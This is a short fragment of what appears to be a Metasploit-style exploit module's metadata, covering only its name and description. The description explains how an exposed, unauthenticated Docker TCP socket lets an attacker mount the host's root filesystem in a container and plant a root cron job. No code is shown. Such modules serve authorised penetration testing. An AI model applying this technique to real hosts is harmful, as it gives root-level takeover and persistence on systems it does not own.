'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
'Description' => %q{
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
with tls but without tls-auth), an attacker can create a Docker
container with the '/' path mounted with read/write permissions on the
host server that is running the Docker container. As the Docker
container executes command as uid 0 it is honored by the host operating
system allowing the attacker to edit/create files owned by root. This
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
the host server.
The Docker image should exist on the target system or be a valid image
from hub.docker.com.
